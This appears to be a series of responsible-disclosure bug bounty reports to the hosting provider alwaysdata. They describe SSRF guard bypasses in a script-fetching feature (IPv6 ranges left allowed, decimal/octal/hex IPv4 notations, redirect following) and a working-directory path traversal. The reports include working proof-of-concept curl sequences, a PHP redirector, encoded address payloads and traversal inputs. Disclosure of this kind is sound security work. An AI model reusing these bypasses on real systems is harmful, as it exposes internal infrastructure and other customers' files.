The address guard added after  FS#401  decides on private versus public address ranges. It refuses RFC1918, loopback, link-local and ULA. Your own internal hosts are not in any of those ranges: they sit in your global allocation 2a00:b6e0::/32, which the guard treats as ordinary public space and allows. From inside, www, admin, api and webmail.alwaysdata.com all resolve to 2a00:b6e0:1:84:1::1, which is overlord-core.paris1.alwaysdata.com, and none of those names publish an AAAA record publicly. So the guard leaves the hosts it most needs to protect in its permitted class, and no parser trick is required to reach them. This is a different root cause from  FS#461 , which is about how IPv4 literals are parsed rather than which ranges the guard treats as safe.

https://admin.alwaysdata.com/site/application/script/<id>/, field script_upstream_uri, fetched by POST …/update_script/.

The fetching host answers from 2a00:b6e0:1:84:1::1 and identifies itself as python-requests/2.32.5.

The guard implements a deny list of private ranges rather than an allow list of destinations the fetcher is permitted to reach. That model only works when everything sensitive is inside those private ranges. On your platform it is the other way round: tenant services are given ULA addresses, which the guard blocks, while your own management hosts use globally-routable addresses, which it allows. The guard therefore protects tenant-to-tenant traffic and leaves your own infrastructure exposed to it.

Everything below was measured from a script object on my own account and from my own shell on ssh2. I did not connect to any of your internal services.

First, the guard does block ULA, and I proved that with a service of my own rather than by inference. I ran python3 -m http.server 8199 on my account, which binds to my tenant address fd00::7:89a5, serving a file containing a marker. Note that ip -6 addr does not list that address, only the node's 2a00:b6e0:1:50:1::1, so the bound address has to be read from ss -lnt. From my own shell the URL works:

$ curl http://[fd00::7:89a5]:8199/marker.txt
SSRF-RANGE-PROOF-2a00b6e0

Submitting that same URL as script_upstream_uri returns in 0.632702s, repeated at 0.590323s, and leaves the installation script field at its baseline, so nothing was fetched.

That the fetcher can actually route to that address is not something you have to take from me: it is in  FS#460 , which you fixed and paid. That report records direct http://[fd00::7:89a5]:8080/ 0.601s refused by guard alongside redirect → http://[fd00::7:89a5]:8080/ 20.381s connection attempted, timed out. Same address, same fetcher. So a sub-second answer with an empty field is the guard refusing, not the network failing.

Second, the guard allows global IPv6, and there the fetch really happens. Pointing the field at example.com's AAAA record returned the origin's response body, which was stored in the installation script field where I read it back:

script_upstream_uri = http://[2606:4700:10::6814:179a]/     0.595333s

What landed in the installation script field was the origin's own error page: "400 Bad Request" as both the title and the heading, ending with a footer line reading "cloudflare". I have written its text out rather than pasting the markup, since raw tags do not survive this tracker's formatting. The point is not the page itself but that a body came back from a global IPv6 address and was stored where I can read it.

Third, your own hosts are in that allowed class. From my shell on ssh2:

$ for h in www admin api webmail security; do getent hosts $h.alwaysdata.com; done
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com www.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com admin.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com api.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com webmail.alwaysdata.com
2a00:b6e0:1:210:1::1 security.alwaysdata.com

From the public internet the same names resolve to 185.31.40.5 and publish no AAAA at all, so those v6 addresses are an internal view rather than something the public is directed to.

Putting the three together: an address in 2a00:b6e0::/32 is accepted by the guard, an address the fetcher can reach is fetched and its body is handed back to me, and your own management hosts live in 2a00:b6e0::/32.

Any HTTP service on your internal hosts is reachable from this fetcher and its response body is readable by the customer who submitted the URL, with no notation trick as in  FS#461  and no redirect as in  FS#460 . The guard does not stand between a customer and your infrastructure, only between a customer and other tenants.

This matters more than a single bypass because the guard is currently the whole protection on this feature. The  FS#460  fix removed redirect following, so there is no second control behind it.

Your own tracker sets the context for what class of host is in that permitted range:  FS#415  describes overlord-core as the core management server for the platform. That is the same host this fetcher runs on and the same host the internal names above resolve to.

I stopped at demonstrating the address class. Following the SSRF guidance in your rules I did not connect to any internal service, so I cannot tell you what is listening there or what could be retrieved. I am happy to demonstrate that on request or in a development environment.

Reverse the model. Rather than denying a list of private ranges, deny everything and allow only what the feature legitimately needs, which for an installation script source is public HTTP outside your own networks. At a minimum, add your own allocations, including 2a00:b6e0::/32 and any other prefix your infrastructure uses, to the refused set alongside the private ranges, and apply the check to the resolved address rather than to the submitted string.

It is also worth deciding whether this fetcher needs to run on the management host at all. Moving it to an egress-restricted worker would make the guard a second line of defence rather than the only one.

All testing used a script object on my own account, which has been deleted, and a listener I ran on my own hosting account, which has been stopped and removed. Manual requests only, no automated scanner. I did not connect to any of your internal services: the only destinations fetched were example.com over IPv6 and my own hosting account. The DNS observations come from ordinary getent lookups on my own shell.

The address guard on the installation script source URI refuses a private destination only when the address is written as a dotted quad. Written as a decimal, octal or hexadecimal integer, the same address passes the guard and the backend opens the connection. The response body of a successful fetch is stored verbatim in the installation script field and read straight back by the submitting user, which is the read-back primitive  FS#401  was fixed for. This is a different path from  FS#460 : no redirect is involved, the encoded address is the URL submitted in the form.

https://admin.alwaysdata.com/site/application/script/<id>/, field script_upstream_uri.

The fetch is triggered by POST https://admin.alwaysdata.com/site/application/script/<id>/update_script/.

The fetching host identified itself as 2a00:b6e0:1:84:1::1 running python-requests/2.32.5.

The guard classifies the host portion of the submitted URL by its textual form. The HTTP client that later opens the connection parses the same host with inet_aton semantics, which accept decimal, octal, hexadecimal and mixed notations for an IPv4 address. The two therefore disagree about which host the URL points to: the guard sees a string it does not recognise as private, and the client resolves it to exactly the private address the guard was meant to block.

The gap is specific to IPv4 literals. I checked the neighbouring cases and they are handled correctly, which is why I am confident this is a parsing gap rather than a missing range: loopback, all three RFC1918 blocks and link-local are refused as dotted quads, and IPv6 is refused in compressed and fully expanded form alike, so the IPv6 path is normalised before the check while the IPv4 path is not. I did not have access to the source, so the mechanism is inferred from behaviour.

I used 10.255.255.1:8080 as the destination for the bypass. It is unroutable, so a refusal by the guard returns in well under a second while a real connection attempt shows up as a TCP timeout of roughly 20 seconds. Set script_upstream_uri on a script object you own, then POST to update_script/ and measure.

The guard works for every canonical form:

http://127.0.0.1/                            0.583544s
http://192.168.0.1:8080/                     0.632095s
http://172.16.0.1:8080/                      0.581063s
http://169.254.169.254/                      0.593031s
http://[::1]/                                0.634583s
http://[fd00:dead:beef:0:0:0:0:1]:8080/      0.676233s
http://10.255.255.1:8080/                    0.586345s

The same address in any other IPv4 notation is not refused, and the request blocks for the full TCP timeout:

decimal        http://184549121:8080/         20.532416s
octal dotted   http://012.0377.0377.01:8080/  20.556865s
hex dotted     http://0xa.0xff.0xff.0x1:8080/ 20.006989s
hex flat       http://0x0AFFFF01:8080/        20.100729s

I measured the decimal case six times across separate runs and it blocked every time, between 20.05s and 20.65s, against 0.586s to 0.647s for the dotted quad in the same runs. Note the port: the connection attempts are to 8080, so the reachable set is not limited to 80 and 443.

To rule out the alternative explanation that these strings are treated as hostnames whose DNS lookup simply times out, I pointed the same notations at my own public address 185.31.41.11. Every one was parsed as IPv4 and actually fetched, and your front end's response body was stored in the installation script field:

http://bores.alwaysdata.net/gc.sh  0.620634s  stored: echo GUARD-CONTROL-OK
http://185.31.41.11/gc.sh          0.585734s  stored: Request ID: 6cd9bd2c-b1a04128
http://3105827083/gc.sh            0.590465s  stored: Request ID: d6a47ad3-269af3c0
http://0271.037.051.013/gc.sh      0.596060s  stored: Request ID: b25f13a3-7f8cfd88
http://0xb9.0x1f.0x29.0xb/gc.sh    0.589441s  stored: Request ID: 61ec6cce-f060c454
http://0xB91F290B/gc.sh            0.658276s  stored: Request ID: 04bc1339-ad0006fb

The first line is a hostname control on a file I placed on my own site, and it came back with the file contents verbatim, which shows the read-back primitive is intact. The rest are the same file requested through the raw address in each notation; they land on your front end rather than my vhost, so the stored body is your "Site not found" page, each with its own request id.

Only http and https are accepted. The form rejects file://, gopher://, dict:// and ftp:// before any fetch, so there is no protocol smuggling here.

An authenticated customer can make an alwaysdata backend host open TCP connections to any IPv4 address and port the guard is meant to forbid, and read the full response body back out of the installation script field.

The obvious objection is the one you used to close  FS#343 , that customers have unrestricted SSH anyway and the job runner executes in the same context and permissions as the SSH server. I tested that objection rather than assuming it does not apply, by running the same destinations from my own shell account on ssh2 and through the fetcher:

destination          from my shell (ssh2)                 through the fetcher
10.0.0.1:8080        Errno 113 No route to host, 0.00s    20.384915s
192.168.0.1:8080     timed out, 8.00s                     20.082109s
172.16.0.1:8080      timed out, 8.01s                     20.093270s

The shell side of that table is reproducible in one command on any hosting account:

python3 -c "import socket,time
s=socket.socket(); s.settimeout(8); t=time.time()
try: s.connect(('10.0.0.1',8080)); print('open')
except Exception as e: print(type(e).__name__, e, round(time.time()-t,2))"

The first row is the important one. My shell has no route to 10.0.0.0/8 at all, so the kernel rejects it immediately, while the fetcher accepts the same destination for routing and sits there until the connection times out. Whatever the fetcher is attached to, it is not the network position my SSH session has. So this is not the situation you assessed in  FS#343 : the bypass grants reach that the customer does not already have.

The states are also distinguishable from the outside, which makes this usable for mapping rather than only for blind requests. A destination that answers HTTP returns its body into a field I read, measured against my own host. A refused port returns in about 0.6 seconds, measured against port 9 on my own address, which my shell confirms is refused. A filtered or unrouted destination takes about 20 seconds.

On what is actually behind the guard, I stopped deliberately. Following your SSRF guidance I made exactly one request to an internal destination, http://2130706433/, the fetcher's own loopback on port 80. It was refused in 0.605334 seconds and nothing was returned or stored. I did not try another port or address, so I cannot tell you what is reachable there. I am happy to demonstrate that on request or in a development environment.

Resolve the host to an address before the policy decision and apply the policy to the resolved address rather than to the submitted string. Parsing the host with ipaddress.ip_address() after normalising through socket.getaddrinfo() covers the decimal, octal, hexadecimal and mixed notations in one step, because the check then runs on the same value the HTTP client will connect to. Rejecting host forms that are not a plain dotted quad, a bracketed IPv6 literal, or a DNS name would close the gap as well, and is easier to test.

Either way it is worth adding regression cases for the four notations above. The IPv6 path already behaves correctly, so the fix only needs to bring IPv4 up to the same standard.

All testing was done against a script object on my own account, which has been deleted. Manual requests only, no automated scanner, a handful of requests spaced by seconds. The destination used for the bypass proof is unroutable RFC1918 space and the destination used for the parsing proof is my own public address. The single internal request is the one described under Impact.

The installation script source URI feature still performs server-side fetches of user-supplied URLs. The address guard added after  FS#401  works correctly on the URL submitted in the form: it resolves hostnames and refuses private destinations before opening any connection. It is not re-applied when the fetcher follows an HTTP redirect. A URL that passes the check and then answers with a 302 sends the backend to any destination the attacker chooses, including RFC1918 space and the fetching host's own loopback. The full response body of a successful fetch is stored verbatim in the installation script field and read straight back by the submitting user, which is the read-back primitive  FS#401  was fixed for.

https://admin.alwaysdata.com/site/application/script/add/ and https://admin.alwaysdata.com/site/application/script/<id>/, field script_upstream_uri.

The fetch is triggered by POST https://admin.alwaysdata.com/site/application/script/<id>/update_script/.

The fetching host identified itself as 2a00:b6e0:1:84:1::1 running python-requests/2.32.5.

The guard is bound to the submitted input rather than to the connections the HTTP client actually makes. It runs once, resolves the hostname, and rejects private addresses, which is why a direct submission fails in well under a second with no connection attempt. The client is then handed the URL with its default redirect behaviour, and the Location value of a 301 or 302 never passes back through the same check before the next connection is opened.

Everything below uses curl and a shell. Account used: boresbbt2, a free-tier account I own. Redirecting host: bores.alwaysdata.net, a site I own. No alwaysdata internal service was contacted.

Step 1. On a host you control, publish a page that redirects to an unroutable private address. 10.255.255.1 is used because a real connection attempt to it can only end in a timeout, which makes the result unambiguous.

<?php header("Location: http://10.255.255.1:8080/", true, 302); exit;

Step 2. Log in to admin.alwaysdata.com and save the session cookies.

JAR=/tmp/ad.txt
CSRF=$(curl -s -c $JAR https://admin.alwaysdata.com/login/ \
  | grep -oE 'name="csrfmiddlewaretoken" value="[^"]+' | head -1 | sed 's/.*value="//')
curl -s -b $JAR -c $JAR -X POST https://admin.alwaysdata.com/login/ \
  -H "Referer: https://admin.alwaysdata.com/login/" \
  --data-urlencode "csrfmiddlewaretoken=$CSRF" \
  --data-urlencode "login=YOUR_EMAIL" \
  --data-urlencode "password=YOUR_PASSWORD" -o /dev/null

Step 3. Create an application script. The installation script must start with a shebang followed by commented YAML, otherwise the form rejects it.

BODY=$'#!/bin/bash\n# site:\n#   type: custom\necho installed'
ADD=https://admin.alwaysdata.com/site/application/script/add/
CSRF=$(curl -s -b $JAR -c $JAR $ADD \
  | grep -oE "csrfmiddlewaretoken\" value=\"[^\"]+" | tail -1 | sed 's/.*value="//')
curl -s -b $JAR -c $JAR -X POST $ADD -H "Referer: $ADD" \
  --data-urlencode "csrfmiddlewaretoken=$CSRF" \
  --data-urlencode "name=poc" --data-urlencode "url=https://example.org/" \
  --data-urlencode "author_name=poc" --data-urlencode "author_uri=https://example.org/" \
  --data-urlencode "script=$BODY" -o /dev/null

Note the id of the created script from https://admin.alwaysdata.com/site/application/script/ and use it as ID below.

Step 4. Set script_upstream_uri to the private address directly, trigger the fetch, and time it. The guard refuses it and the call returns immediately.

BASE=https://admin.alwaysdata.com/site/application/script/$ID/
csrf() { curl -s -b $JAR -c $JAR $BASE \
  | grep -oE "csrfmiddlewaretoken\" value=\"[^\"]+" | tail -1 | sed 's/.*value="//'; }
 
curl -s -b $JAR -c $JAR -X POST $BASE -H "Referer: $BASE" \
  --data-urlencode "csrfmiddlewaretoken=$(csrf)" \
  --data-urlencode "name=poc" --data-urlencode "url=https://example.org/" \
  --data-urlencode "author_name=poc" --data-urlencode "author_uri=https://example.org/" \
  --data-urlencode "script=$BODY" \
  --data-urlencode "script_upstream_uri=http://10.255.255.1:8080/" -o /dev/null
 
curl -s -b $JAR -c $JAR -X POST ${BASE}update_script/ -H "Referer: $BASE" \
  --data-urlencode "csrfmiddlewaretoken=$(csrf)" -o /dev/null -w 'total=%{time_total}s\n'

Step 5. Repeat exactly the same two calls, changing only script_upstream_uri to the redirector from step 1. The guard passes it, the fetcher follows the 302, and the connection to 10.255.255.1 is really attempted, so the call now blocks until the TCP timeout.

  --data-urlencode "script_upstream_uri=https://YOUR-HOST/r_priv.php"

Step 6. Compare the two timings. Five independent runs on 2026-08-25, the last of which was a clean run following these steps from a fresh login and a new script object:

direct    http://10.255.255.1:8080/          0.635s  0.591s  0.591s  0.584s  0.589s
redirect  -> http://10.255.255.1:8080/      20.340s 20.447s 20.397s 20.108s 20.631s

The direct case is refused by the guard with no connection attempt. The redirect case blocks until the TCP timeout, which is only possible if the connection to 10.255.255.1 was really opened.

The same split holds for other private ranges, and the loopback of the fetching host answers, an immediate RST rather than a timeout:

direct    http://[fd00::7:89a5]:8080/         0.601s   refused by guard
redirect  -> http://[fd00::7:89a5]:8080/     20.381s   connection attempted, timed out
redirect  -> http://127.0.0.1:1/              0.668s   immediate RST, loopback reached and answered

Redirect chains are followed at depth, so the stored value has no relation to where the request ends up. A three hop chain of ordinary looking pages on my own site, the last of which points at 10.255.255.1:8080, still reaches the private address and blocks for 20.035s. In the two hop case the content of the final target was fetched and stored while the saved script_upstream_uri was only https://bores.alwaysdata.net/hok.php. Anything that inspects the stored URI, whether that is triage, logging or an allowlist of trusted sources, therefore sees a harmless public URL while the fetch goes somewhere else entirely, and the attacker can retarget at any time without touching the record.

The guard does handle DNS: http://10.255.255.1.nip.io:8080/, a public name that resolves to 10.255.255.1, is refused in 1.485s, the extra time being the lookup before the rejection. So the weakness is specifically the redirect hop, not name resolution.

My own web access log shows the fetch is server-side and that the backend follows the redirect itself:

2a00:b6e0:1:84:1::1 - - [25/Aug/2026:03:58:36 +0200] "GET /redir.php HTTP/2.0" 302 0 "-" "python-requests/2.32.5"
2a00:b6e0:1:84:1::1 - - [25/Aug/2026:03:58:36 +0200] "GET /bbt.sh HTTP/2.0"    200 72 "-" "python-requests/2.32.5"

Both lines carry the same timestamp: one operation, two hops.

The response body is returned to the attacker unmodified and unbounded. Pointing the redirect at a page serving plain HTML rather than a script stored that HTML verbatim in the installation script textarea, and a redirect to a 1,040,057 byte file stored 1,040,058 bytes with the end marker intact, so there is no content-type check and no size limit on what comes back.

A destination that is refused when submitted directly should also be refused when it is reached through a redirect. The check should follow the connection, not the input string.

An authenticated free-tier user can make an alwaysdata backend issue arbitrary HTTP requests into private address space and the fetching host's own loopback, and read the entire response back out of the installation script field, at any size. That is the capability  FS#401  was rated Critical and paid for, reachable again through a single redirect that costs the attacker one line of PHP on any host they control.

Because chains are followed and the stored URI stays innocuous, the record left behind on the account shows a normal public URL, so this is not visible by looking at what users saved in the field.

Reachability sets the ceiling on what I proved. I stopped at showing that connections to private destinations are attempted, that the loopback of the fetching host answers, and that arbitrary response bodies come back in full. I did not enumerate internal services or retrieve any internal content, because the programme rules say not to go playing around on internal networks and to report a potential SSRF as soon as it is believed to exist.

Two related things do hold and are worth recording: the guard resolves hostnames, so DNS rebinding through a public name is not available, and file:// is refused both when submitted directly and when reached through a redirect, so this is not a local file read.

Apply the address check to every connection the client makes, not only to the submitted string. With requests that means either setting allow_redirects=False on this fetch and rejecting any 3xx outright, or walking the redirect chain manually and running the existing guard against each Location before it is followed. Validating the resolved address at connect time, for example through a custom transport adapter, covers both the redirect hop and any future path that reaches the same client. A regression test that submits a URL redirecting to 127.0.0.1 and to an RFC1918 address and asserts the fetch is refused would catch this class directly.

CWE-918 Server-Side Request Forgery, reached through CWE-441 Unintended Proxy or Intermediary. Incomplete fix for  FS#401 .

Testing used only accounts I own, bores and boresbbt2, with my own site as the redirecting host. No automated scanner was used and the request rate was low and manual. No internal service was enumerated and no third-party data was accessed. All test artefacts were removed afterwards: the application script objects were deleted and the redirect and marker files were removed from the site root.

I discovered a path traversal vulnerability in the Working Directory field of the alwaysdata Service command feature.

The Service feature allows users to specify a Working Directory from which their configured command is executed. However, the Working Directory is not properly restricted to the user's authorized directory.

By using ../ path traversal sequences, an authenticated user can escape the intended Working Directory boundary and point the service to another directory.

The service then executes commands from the resulting directory. Using the standard Linux ls command, the service logs disclose the names of files and directories contained within the target directory.

Additionally, when a non-existent directory is specified, the service returns an error indicating that the directory does not exist. This provides a directory-existence oracle, allowing an attacker to determine whether specific directories exist.

The user account used for the proof of concept was:

mexmos

This account belongs to me and is not associated with another alwaysdata customer. All testing was performed using my own account and controlled test data.

1. Log in to an alwaysdata account.
2. Go to Services and click Add service.
3. In the Command field, enter:

ls

4. In the Working Directory field, enter:

../mexmos/www

5. Submit the service configuration.
6. Go back to Services and open the newly created service.
7. Open the service Logs.
8. The output of the ls command is displayed in the logs, revealing the names of files and directories inside the specified www directory.

STDOUT: index.html

Additional files and directories present in the directory are also returned.

The issue also allows determining whether a specific directory exists.

../mexmos/www/existing-directory

The service successfully starts and ls returns its contents.

../mexmos/www/non-existent-directory

The service returns an error indicating that the directory does not exist.

This creates an existence oracle that allows an attacker to distinguish between existing and non-existing directories.

Therefore, the vulnerability provides:

Path Traversal → Directory Existence Disclosure → Directory/File Name Enumeration

An authenticated alwaysdata user who has access to the Service command feature can bypass the intended Working Directory restriction and enumerate filesystem entries outside their intended directory.

The attacker can:

* Determine whether specific directories exist.
* Enumerate directory contents using ls.
* Obtain filenames and directory names.
* Map the structure of accessible directories under the target www directory.

In a shared-hosting environment, this can disclose the filesystem structure of other hosted directories.

For example, the www directory of a hosted website may contain filenames revealing:

* Application structure
* Backup files
* Configuration-related filenames
* Internal directories
* Application resources

The vulnerability therefore results in unauthorized directory and file-name enumeration across the intended Working Directory boundary.

The proof of concept is limited to filename/directory-name enumeration. I did not access or extract file contents from other customers.

The Working Directory should be restricted to the directories authorized for the service.

Traversal sequences such as ../ should not allow the resulting canonical path to escape the authorized directory.

For example, if a service is restricted to:

/home/mexmos/

a Working Directory containing:

../other-user/www

should not be accepted.

The application should:

* Canonicalize/resolve the supplied Working Directory.
* Resolve all .. components before authorization.
* Verify that the resulting canonical path is within the directory authorized for the service.
* Reject the request if the canonical path escapes the authorized directory.

The security check should be performed against the resolved path rather than the raw user-supplied string.

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

Additional impact:

Directory Enumeration / File and Directory Name Disclosure

I recommend evaluating this as a Medium-severity access-control/path-traversal issue, depending on the intended filesystem isolation boundary of the Service feature.

The demonstrated impact is directory existence disclosure and filename/directory enumeration.

This report does not claim arbitrary file-content disclosure, arbitrary file modification, or root privileges.

Testing was performed using my own account, mexmos, and controlled test data.

The mexmos account belongs to me and is not associated with another alwaysdata customer.

No sensitive customer file contents were accessed, retained, or exfiltrated.